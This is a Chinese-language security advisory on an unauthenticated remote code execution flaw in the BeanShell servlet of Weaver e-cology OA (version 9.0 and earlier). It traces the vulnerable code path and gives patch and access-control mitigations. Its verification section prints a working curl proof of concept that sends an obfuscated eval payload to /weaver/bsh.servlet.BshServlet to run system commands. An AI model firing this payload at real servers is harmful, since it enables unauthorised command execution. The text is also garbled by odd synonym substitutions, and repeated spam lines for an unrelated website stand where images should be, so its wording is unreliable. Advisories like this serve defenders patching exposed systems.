泛微e-cology OA系统远程代码执行缝隙安全公告

颁布功夫 2019-09-20

●缝隙编号和级别


CVE编号:暂无,危险级别:高危,CVSS分值:官方未评定


●影响版本


受影响的版本


泛微e-cology<=9.0


●缝隙概述


泛微e-cology OA是国内利用宽泛的OA解决规划。


近日,泛微e-cology OA系统被爆出存在远程代码执行缝隙。该缝隙存在于泛微协同治理当用平台OA系统的BeanShell组件中,该组件为系统自带且允许未授权接见。攻击者通过挪用BeanShell组件的问题接口可直接在指标服务器上执行肆意号令。


问题呈此刻resin下lib中的bsh.jar文件里,问题类bsh.servlet.BshServlet,能够看到doGet步骤从getParameter中接管到一些参数,而后整个Request要求会交给evalScript步骤来进行处置。我们能够看到这个接口没有进行任何权限校验,凭据上述分析的路由,这个处所能够被未授权触发。


宝运莱·(中国区)最新官方网站


跟进evalScript步骤,挪用localInterpreter.eval(paramString);,而 localInterpreter 是 interpreter 事俘化对象。


宝运莱·(中国区)最新官方网站


这里看个bsh用法的例子,下面这个例子执行了局是输出hello:


宝运莱·(中国区)最新官方网站


所以我们能够知路bsh中的eval步骤能够执行一些java代码。


宝运莱·(中国区)最新官方网站


●缝隙验证


缝隙蹊径:/weaver/bsh.servlet.BshServlet

exec("whoami")

curl http://xx.xx.xx.xx.xx/weaver/bsh.servlet.BshServlet/ -d 'bsh.script=eval%00("ex"%2b"ec(\"whoami\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'

接见http://url/weaver/bsh.servlet.BshServleth输入payload如下:


宝运莱·(中国区)最新官方网站


●建复建议


目前泛微官网颁布了补丁,下载地址:https://www.weaver.com.cn/cs/securityDownload.asp。


一时缓解法子:

1、不容该系统在公网盛开。

2、配置 URL 接见节造战术:

部署于公网的泛微OA系统,可通过 ACL 不容表网对*/*BshServlet/蹊径的接见。


●参考链接

https://www.weaver.com.cn/cs/securityDownload.asp